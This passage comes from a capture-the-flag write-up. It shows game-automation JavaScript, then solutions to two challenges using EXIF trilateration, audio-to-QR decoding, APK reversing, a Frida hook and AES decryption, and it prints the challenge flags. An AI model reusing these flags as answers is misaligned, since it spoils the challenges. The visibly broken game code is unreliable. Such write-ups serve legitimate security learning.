this.ox = null;
}
}
class PState {
static RUNNING = new PState("running", "static/replyman_run.png", 50, 50, 4);
static CROUCHED = new PState("crouched", "static/replyman_crouch.png", 50, 24, 1);
static JUMPING = new PState("jumping", "static/replyman_jump.png", 50, 50, 1);

constructor(name, image, width, height, frames){
this.name = name;
this.image = new Image();
this.image.src = image;
this.frame = 0;
this.width = width;
this.height = height;
this.frames = frames;
this.fcounter = 40;
}

nextFrame(){
this.fcounter -= gameSpeed;
if (this.fcounter < 0){
this.frame = (this.frame + 1) % this.frames;
this.fcounter = 40;
}
}
}

class Player {
constructor (x, y, w, h) {
this.state = PState.RUNNING;
this.x = x;
this.y = y;
this.w = w;
this.h = h;

this.dy = 0;
this.jumpForce = 15;
this.originalHeight = h;
this.grounded = false;
this.jumpTimer = 0;
this.crouchTimer = 0;
this.action = null;
this.forceCrouch = true;
}

doJump() {
keys['Space'] = true;

}

stopJump() {
keys['Space'] = false;
}

doCrouch() {
this.forceCrouch = true;
}

stopCrouch()
{
this.forceCrouch = false;
}

animate () {
if (keys['ShiftLeft'] || this.forceCrouch)
this.state = PState.CROUCHED;
else if (this.grounded)
this.state = PState.RUNNING;
else
this.state = PState.JUMPING;
if (keys['Space']) {
this.jump();
} else {
this.jumpTimer = 0;
}

if (keys['ShiftLeft'] || this.forceCrouch) {
this.y += 5;
this.h = this.originalHeight / 2;
this.crouchTimer++;
} else {
this.h = this.originalHeight;
this.crouchTimer = 0;
}

if (this.jumpTimer == 1)
this.action = new Action(this.x - gameSpeed, step, "J");
if (this.crouchTimer == 1)
this.action = new Action(this.x - gameSpeed, step, "C");

this.y += this.dy;

// Gravity
if (this.y + this.h < canvas.height) {
this.dy += gravity;
this.grounded = false;
} else {
this.dy = 0;
this.grounded = true;
this.y = canvas.height - this.h;
}

this.draw();
}

jump () {
if (this.grounded && this.jumpTimer == 0) {
this.jumpTimer = 1;
this.dy = -this.jumpForce;

} else if (this.jumpTimer > 0 && this.jumpTimer < 15) {
this.jumpTimer++;
this.dy = -this.jumpForce - (this.jumpTimer / 50);
}
}

draw () {
ctx.drawImage(this.state.image, this.state.frame * this.state.width, 0, this.state.width, this.state.height, this.x, this.y, this.state.width, this.state.height);
this.state.nextFrame();
}
}

class Obstacle {
constructor (x, y, w, h) {
this.x = x;
this.y = y;
this.w = w;
this.h = h;
this.c = "red";

this.dx = -gameSpeed;
this.won = false;
this.d = this.#d(step, gameSpeed, seed);
this.e = this.#e(step, gameSpeed);
this.speed = gameSpeed;
this.step = step;

}

#d(step, speed, phi){
let d_min = 70;
let A = 50;
let d_var_c = 2;
let d = d_min + d_var_c * 0.4 * (speed ** 1.5) + math.cos(step + phi) *;
return d;
}

#e(step, speed){
let e_min = 5;
return e_min + 0.3 * speed ** 1.2;
}

notify(action) {
socket.emit("action", {
px: action.x,
ox: action.ox,
speed: this.speed,
seed: seed,
step: this.step,
type: action.type
});
}

update () {
this.x += this.dx;
this.draw();
this.dx = -gameSpeed;
}

jBoundaries () {
var c = this.x - this.d;
return [c - this.e, c + this.e];
}

draw () {
ctx.beginPath();
ctx.fillStyle = this.c;
ctx.fillRect(this.x, this.y, this.w, this.h);
ctx.closePath();
}

set_j(distance, width) {
this.d = distance;
this.e = width;
}
}

class HighObstacle extends Obstacle {
alert = "Crouch!";
constructor (x, y, w, h) {
super(x, y, w, h);
this.y -= 240;
this.h += 200
}
}

class LowObstacle extends Obstacle {
alert = "Jump!";

}

class Text {
constructor (t, x, y, a, s) {
this.t = t;
this.x = x;
this.y = y;
this.a = a;
this.s = s;
}

draw () {
this.t = this.t.toUpperCase();
ctx.beginPath();
ctx.fillStyle = "orange";
ctx.font = "normal 900 " + this.s + "px sans";
ctx.textAlign = this.a;
ctx.fillText(this.t, this.x, this.y);
ctx.closePath();
}
}


function SpawnObstacle () {
let size = 40;
let type = Math.round(Math.random())
let obstacle;
if (type ==0 ){
obstacle = new LowObstacle(canvas.width + size, canvas.height - size, size, size);
} else {
obstacle = new HighObstacle(canvas.width + size, canvas.height - size, size, size);
}
step++;
obstacles.push(obstacle);
}


function Start () {
canvas.width = 800;
canvas.height = 400;
seed = Math.random() * 2 * Math.PI;
ctx.font = "20px sans-serif";

gameSpeed = 71;
gravity = 1;

score = 0;
highscore = 0;
step = 0;
if (localStorage.getItem('highscore')) {
highscore = localStorage.getItem('highscore');
}

player = new Player(25, 0, 50, 50);

scoreText = new Text("Score: " + score, 20, 20, "left", "white", "18");
highscoreText = new Text("Record: " + highscore, canvas.width - 20, 20, "right", "18");
gameSpeedText = new Text("Speed: " + gameSpeed.toFixed(2), 20, 40, "left", "18");
stepText = new Text("Step: " + step, 20, 60, "left", "#222", "18");
requestAnimationFrame(Update);
}


function Update () {
requestAnimationFrame(Update);
ctx.clearRect(0, 0, canvas.width, canvas.height);

spawnTimer--;

if (spawnTimer <= 0) {
SpawnObstacle();
spawnTimer = initialSpawnTimer - gameSpeed * 8;

if (spawnTimer < 60) {
spawnTimer = 60;
}
}

// Spawn Enemies
for (let i = 0; i < obstacles.length; i++) {
let o = obstacles[i];

if (o.x + o.w < 0) {
obstacles.splice(i, 1);
}
jb = o.jBoundaries();
px = player.x + player.w/2;

//if()
if (o.alert == "Jump!" && px > (jb[0]-30) && px < jb[1]){player.doJump()}
if (o.alert == "Jump!" && px > jb[0]+40 && px < jb[1]+40){player.stopJump()}


// handle collisions (i.e. you f** lose)
if (
player.x < o.x + o.w &&
player.x + player.w > o.x &&
player.y < o.y + o.h &&
player.y + player.h > o.y
) {
obstacles = [];
score = 0;
step = 0;
spawnTimer = initialSpawnTimer;
gameSpeed = 3;
window.localStorage.setItem('highscore', highscore);
time0 = Date.now();
keys["ShiftLeft"] = false;
keys["Space"] = false;
stepText.t = "Step: 0";
}

if (player.x > o.x){
if (!o.won){
o.notify(player.action);
stepText.t = "Step: " + (1 + o.step);
}
o.won = true;

}
o.update();
}

player.animate();

score++;
scoreText.t = "Score: " + score;
scoreText.draw();

if (score > highscore) {
highscore = score;
highscoreText.t = "Record: " + highscore;
}

highscoreText.draw();

stepText.draw();
gameSpeedText.t = "Speed: " + gameSpeed.toFixed(2);
gameSpeedText.draw();

//gameSpeed += 0.005;

}

Check the script in action: https://streamable.com/hmoetd

After manually merging the bitstreams, we get 01111011010001100100110001000111001110100110110101111001010100010111010100110100011001000111001101000010011101010111001001101110010001110110100101101101011011010011001100110100010000100111001001100101001101000110101101111101, which we can just binary decode to get the flag.

Flag

{FLG:myQu4dsBurnGimm34Bre4k}

Misc 400

Description

R-Boy, using all his power manages to disintegrate all the copies. The one true Zer0, at full strength, reveals himself. Zer0 throws down the gauntlet to R-Boy by proposing a secret meeting place, via a coded signal, where they can carry out their battle.

http://gamebox1.reply.it:80/c1ae6528d6ff0bf21e756110e34a05d01a8ba533/

We're given this web page and we need to provide a Latitude and Longitude to it:

Each image has a base64 encoded value:

NTUwNi41Ng== -> 5506.56
NTM4OS4zNjY= -> 5389.366
NDA2MS45MTE= -> 4061.911

By downloading the images and checking them with exiftool, we notice that they have GPS information embedded into them:

$ exiftool -c '%.7f' antenna1.jpg
...
GPS Latitude                    : 46.5866197 N
GPS Longitude                   : 179.7870895 W
GPS Position                    : 46.5866197 N, 179.7870895 W

$ exiftool -c '%.7f' antenna2.jpg
...
GPS Latitude                    : 44.4538317 N
GPS Longitude                   : 95.7403504 W
GPS Position                    : 44.4538317 N, 95.7403504 W

$ exiftool -c '%.7f' antenna3.jpg
...
GPS Latitude                    : 22.8887953 S
GPS Longitude                   : 125.6890055 W
GPS Position                    : 22.8887953 S, 125.6890055 W

Given the fact that we have 3 antenna towers, with GPS data and some numbers that could be the "distance". We think that it's some sort of triangulation/trilateration, also known as to find the intersection of 3 circles given their radius and the distance of the point away from the center.

We can use this nice website to calculate the answer (the distance is in kilometers): http://geo.javawa.nl/coordcalc/index_en.html

We get that the intersection point is N 11.84891° W 137.76373°, which translates to 11.84891, -137.76373

However the answer is actually 11.84891, -137.76372 probably because of rounding errors (found by trying all combinations for the last 2 digits).

Once we input the correct coordinates, we recieve a zip file containing a first_signal.wav file. The filename suggests we should work with it as a wave file, but it doesn't follow the standard file format (RIFF header etc.), so we are working with raw data. Plopping the file into CyberChef and checking the byte frequency, we see that some bytes are way more common than others, meaning that the data isn't fully random or properly encrypted:

Looking further into the file, we notice these values are always in every 4th bytes. This hints us that it's a 4byte structure, and the two peaks in byte frequency are easily explained by the first bit being a sign bit.

We use Audacity to read the file as raw data. At first we tried 32-bit integers, but that returned no good results, so we loaded the file as 32-bit floats.

This looks like good data, so we just switch to the histogram and change to linear scale to get a QR code:

Scanning this QR code, we are lead to a page with a second file, secooknd_signal.wav. Again, checking it with hex editor, this time we see 64bit patterns, where each 8 bytes are either 00 00 80 3F 00 00 00 00 or 00 00 00 00 00 00 00 00 00 00. This leads us to a theory that the signal is a digital one, having just ones and zeroes. Our goal is to somehow get this file into Universal radio hacker. The easiest way I know is to somehow turn it into a proper wave file and then load that one. As I didn't find a 64bit decimal import option in Audacity, I opted to replacing 00 00 80 3F 00 00 00 00 with 00 00 80 3F 00 00 80 3F, effectively turning the 1 64bit sample into 2 32bit samples. Then, we can load the file in audacity as 32bit PCM, and we get a very digital looking signal.

We save it as a wave file and import it into URH. After playing with the parameters for a bit, we can read the bits:

10110101100111001100101010010010100001101000110110111110100100011001101110100111101111001011000011001100110010111100110110111110100001011011100010000101100100101011110110101010101111011001110010101000100011011011101010010110100100011011000111000111100111001100011111001111101001101001000010110100100011101011011110010100101110111011001110110100101001111011110010111011100011101100110010001000100001111010101111001000100101101000101010111110100110111011010010101110110010001011100010110110101100111100111110011101

Plopping the result into CyberChef and decoding as binary we get junk, but the first thing to try is always to flip the bits. And surely, applying a NOT operation gives us the code, Jc5myrAndXCO342AzGzmBUBcWrEinN8c80YoKqHkDLKXCDq3wxT7iuAdKQ7GIL0b, which awards us with the flag:

Congratulations, the flag is {FLG:g04t_r4d10_n3rd}

Flag

{FLG:g04t_r4d10_n3rd}

Misc 500

Description

Hordes of robots and drones, commanded by Zer0, assault R-Boy. It almost seems as if the chains that bind the dimensional planes are splitting forever. Once again, R-Boy falls into a trance where he realises the only way to win is to sacrifice all of his life energy to inflict a killer blow on Zer0. The plan works, and the balance is preserved.

But what will become of R-Boy?

We get an APK. Opening it in jadx, the apk is pretty straightforward, with the most hostile thing being string obfuscation. Interesting strings are recovered by calls to e.r, like so: public String f1857s = e.r(-40070286111014L);

The app contains functionality of submitting data to a server in z0.b:

package z0;

import android.annotation.SuppressLint;
import android.os.AsyncTask;
import java.io.BufferedReader;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.InputStreamReader;
import java.net.HttpURLConnection;
import java.net.URL;

/* loaded from: classes.dex */
public final class b extends AsyncTask<String, String, String> {
@Override // android.os.AsyncTask
@SuppressLint({"SdCardPath"})
public final String doInBackground(String[] strArr) {
IOException e2;
String[] strArr2 = strArr;
StringBuffer stringBuffer = null;
try {
HttpURLConnection httpURLConnection = (HttpURLConnection) new URL(strArr2[0]).openConnection();
httpURLConnection.setRequestMethod("POST");
httpURLConnection.setDoOutput(true);
httpURLConnection.setRequestProperty("Content-Type", "application/json");
httpURLConnection.setRequestProperty("Accept", "application/json");
httpURLConnection.connect();
DataOutputStream dataOutputStream = new DataOutputStream(httpURLConnection.getOutputStream());
dataOutputStream.writeBytes(strArr2[1]);
dataOutputStream.close();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(httpURLConnection.getInputStream()));
stringBuffer = new StringBuffer();
while (true) {
try {
String readLine = bufferedReader.readLine();
if (readLine == null) {
break;
}
stringBuffer.append(readLine);
} catch (IOException e3) {
e2 = e3;
stringBuffer = stringBuffer;
e2.printStackTrace();
return String.valueOf(stringBuffer);
}
}
bufferedReader.close();
} catch (IOException e4) {
e2 = e4;
}
return String.valueOf(stringBuffer);
}
}

Checking where this class is used, we see the following part heavily using the obfuscated strings (this.f1856r was also earlier set to an obfuscated string).

            Object newInstance = this.f1854p.newInstance();
Method method = this.f1854p.getMethod(e.r(-41521985057062L), String.class);
Object[] objArr = {((Button) findViewById(view.getId())).getText()};
b bVar = new b();
bVar.execute(this.f1856r, (String) method.invoke(newInstance, objArr));
e.r(-41547754860838L);
JSONObject jSONObject = new JSONObject(bVar.get());
e.r(-41569229697318L);
e.r(-41573524664614L);
String string = jSONObject.getString(e.r(-41560639762726L));
String string2 = jSONObject.getString(e.r(-41461855514918L));

As the obfuscation class seems to be painful to work with, we resort to dynamic reversing and use the following frida script to catch any obfuscated strings being loaded:

Java.perform(() => {
// Function to hook is defined here
const MainActivity = Java.use('x1.e');
MainActivity.r.implementation = function(a)
{
var ret = this.r(a);
console.log("" + a + "=>" + ret);
return ret;
}

});

We get a base URL (http://gamebox1.reply.it/870af13cd49ecc64128cfb08b87a362c7e918f8a/), the first endpoint (ab396cd2b1d8a7d4fb5c1e137224004a0261976d) and several method names.

Checking the com.example.level01 class, we see example implementations of these method. The gameStory argument tells us how to create the JSON request body:

package com.example.level01;

/* loaded from: MISC500_AdventureGame.apk:res/j2.jar:Level01.class */
public class Level01 {
public String returnQuestImage() {
return "dungeongate";
}

public String returnFirstOption() {
return "Try going through the dark corridor";
}

public String returnSecondOption() {
return "Try lighting one of the torch";
}

public String returnThirdOption() {
return "Try throwing an object across the corridor!";
}

public String returnFourthOption() {
return "Go back to home...";
}

public String returnStory() {
return "As soon as you enter the dungeon you find yourself with a long dark corridor in front of you.... There is little light.";
}

public String gameStory(String str) {
return "{\"Level\":\"Level01\",\"Choise\":\"" + str + "\"}";
}
}

We try all the possible options and when using the third one, we get a new answer:

POST /870af13cd49ecc64128cfb08b87a362c7e918f8a/ab396cd2b1d8a7d4fb5c1e137224004a0261976d HTTP/1.1
Host: gamebox1.reply.it

{"Level":"Level01","Choise":"Try throwing an object across the corridor!"}


HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Sat, 15 Oct 2022 07:29:46 GMT
Content-Type: application/json
Content-Length: 199
Connection: close

{"endpoint":"738cdd7ae1318b812d3fd6b758e75752fc88e8d6","response":"SUCCEDED: The floor has opened, giving you a glimpse of a deep pit; however, it appears that a door on the right has just opened."}

POSTing to http://gamebox1.reply.it/870af13cd49ecc64128cfb08b87a362c7e918f8a/738cdd7ae1318b812d3fd6b758e75752fc88e8d6 give us Level02.apk

It contains the following code in com.example.level02.Level02:

public String gameStory(String choise) throws JSONException {
Log.d("TODO", "Bob I think you forgot to add the real answer. It should be the name of the weapon, I don't remember which one you chose, when you're done return it from <backend>/getWeapon");
return new JSONObject().put("Level", "Level02").put("Choise", choise).toString();
}

Visiting http://gamebox1.reply.it/870af13cd49ecc64128cfb08b87a362c7e918f8a/getWeapon a file called halberd.png gets downloaded, so the correct answer is halberd:

POST /870af13cd49ecc64128cfb08b87a362c7e918f8a/ab396cd2b1d8a7d4fb5c1e137224004a0261976d HTTP/1.1
Host: gamebox1.reply.it

{"Level":"Level02","Choise":"halberd"}

HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Sat, 15 Oct 2022 07:32:44 GMT
Content-Type: application/json
Content-Length: 165
Connection: close

{"endpoint":"bf850ea44b0542ff96645c9d0e4160127d1996de","response":"SUCCEDED: Wait! How did you get here? Well, great! I'm downloading the level 3 files for you..."}

Again, POSTing to http://gamebox1.reply.it/870af13cd49ecc64128cfb08b87a362c7e918f8a/bf850ea44b0542ff96645c9d0e4160127d1996de give us Level03.apk. There, we can see the following in com.example.level03.Level03:

public String gameStory(String choise) throws JSONException {
if (choise.equals("")) {
return new JSONObject().put("Level", "Level03").put("Choise", "My god! This is the final boss! (Yes this game is quite short...) Make your choice hero!").toString();
}
try {
Log.d("TODO", "Bob I think you forgot to add the path to the native library!");
System.load("TODO");
String value = testAES();
System.out.println(value);
JSONObject put = new JSONObject().put("Level", "LevelEnding");
return put.put("Choise", value + "_CorrectAnswer!").toString();
} catch (Exception | UnsatisfiedLinkError e) {
e.printStackTrace();
return new JSONObject().put("Level", "Level03").put("Choise", choise).toString();
}
}

We can extract liblevel03.so from the apk and open it in IDA. Luckily, it has symbol names, so it is pretty straightforward to reverse engineer:

__int64 __fastcall Java_com_example_level03_Level03_testAES(__int64 a1)
{
char v2; // [rsp+71h] [rbp-10Fh] BYREF
char v3[14]; // [rsp+72h] [rbp-10Eh] BYREF
char v4[192]; // [rsp+80h] [rbp-100h] BYREF
char iv[16]; // [rsp+140h] [rbp-40h] BYREF
char input[16]; // [rsp+150h] [rbp-30h] BYREF
__int64 v7[4]; // [rsp+160h] [rbp-20h] BYREF

v7[3] = __readfsqword(0x28u);
qmemcpy(v7, "ThisIs_MagicBook", 16);
*(_QWORD *)input = 0xE9319B7314018FDELL;
*(_QWORD *)&input[8] = 0xF2726CB39518E626LL;
qmemcpy(iv, "Misc500Challenge", sizeof(iv));
__android_log_print(3LL, "MyLib", "%s", (const char *)v7);
__android_log_print(3LL, "MyLib", "%s", input);
__android_log_print(3LL, "MyLib", "%s", &v2);
AES_init_ctx_iv(v4, v7, iv);
AES_CBC_decrypt_buffer(v4, input, 16LL);
__android_log_print(3LL, "MyLib", "CBC decrypt: ");
__android_log_print(3LL, "MyLib", "%s", input);
__strncpy_chk2(v3, input, 13LL, 14LL, 16LL);
v3[13] = 0;
return (*(__int64 (__fastcall **)(__int64, char *))(*(_QWORD *)a1 + 1336LL))(a1, v3);
}

Misc500Challenge is the iv, ThisIs_MagicBook, we can decrypt the bytes using CyberChef: https://gchq.github.io/CyberChef/#recipe=AES_Decrypt(%7B'option':'UTF8','string':'ThisIs_MagicBook'%7D,%7B'option':'UTF8','string':'Misc500Challenge'%7D,'CBC','Hex','Raw',%7B'option':'Hex','string':''%7D,%7B'option':'Hex','string':''%7D)&input=REUgOEYgMDEgMTQgNzMgOUIgMzEgRTkgIDI2IEU2IDE4IDk1IEIzIDZDIDcyIEYy

The last answer is Avada Kedavra, giving us the flag:

POST /870af13cd49ecc64128cfb08b87a362c7e918f8a/ab396cd2b1d8a7d4fb5c1e137224004a0261976d HTTP/1.1
Host: gamebox1.reply.it

{"Level":"LevelEnding","Choise":"Avada Kedavra_CorrectAnswer!"}

HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Sat, 15 Oct 2022 07:37:42 GMT
Content-Type: application/json
Content-Length: 65
Connection: close

{"endpoint":"None","response":"{FLG:wh4t_a_h4ppY_3nd1ng_dud3!}"}

Flag

{FLG:wh4t_a_h4ppY_3nd1ng_dud3!}

Twitter GitHub LinkedIn